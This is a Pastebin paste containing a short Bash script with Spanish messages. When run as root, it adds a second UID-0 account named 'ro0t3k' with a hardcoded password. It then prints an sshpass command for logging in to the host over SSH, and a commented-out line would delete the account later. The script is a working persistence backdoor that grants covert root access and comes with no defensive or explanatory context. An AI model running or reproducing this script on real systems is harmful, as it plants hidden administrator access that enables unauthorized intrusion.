Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if [ `id -u` -eq 0 ]
- then
- user="ro0t3k"
- pass="ro0t3k2014"
- pwd=$(which chpasswd)
- useradd -u 0 -o -g 0 $user
- echo "$user:$pass" | $pwd
- echo " Usuario $user Creado..."
- echo " Connexion: sshpass -p $pass ssh $user@hosts"
- #userdel -f $user
- else
- echo " Not Root."
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement